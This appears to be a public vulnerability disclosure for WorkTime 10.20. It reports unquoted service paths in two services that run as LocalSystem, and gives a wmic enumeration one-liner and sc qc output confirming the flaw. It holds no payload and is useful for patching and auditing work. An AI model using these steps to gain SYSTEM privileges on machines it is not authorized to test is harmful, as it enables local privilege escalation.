WorkTime 10.20 Build 4967 - Unquoted Service Path

Author: Yehia Elghaly
type: local
platform: windows
port: nan
date_added: 2022-01-18 
date_updated: 2022-01-18 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: WorkTime 10.20 Build 4967 - Unquoted Service Path
# Discovery by: Yehia Elghaly
# Date: 30-12-2021
# Vendor Homepage:  https://www.worktime.com/
# Software Link: https://www.worktime.com/download/worktime_corporate.exe
# Tested Version: 10.20 Build Build 4967
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 x86 - Windows Server 2016 x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

WorkTime Server  srvWorkTimeServer
C:\WorkTime\WorkTimeServerService.exe
Auto

WorkTime Reports Scheduler  WorkTimeReportsScheduler
C:\Program Files\WorkTimeAdministrator\WorkTimeReportsScheduler.exe
Auto

WorkTime Client Watcher Service   WTCWatch
C:\Program Files\wtc\WTCWatch.exe WTCWatch
Auto


C:\Users\psycho>sc qc  WorkTimeReportsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WorkTimeReportsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\WorkTimeAdministrator\WorkTimeRepo
rtsScheduler.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WorkTime Reports Scheduler
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\psycho>sc qc WTCWatch
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WTCWatch
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\wtc\WTCWatch.exe WTCWatch
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WorkTime Client Watcher Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem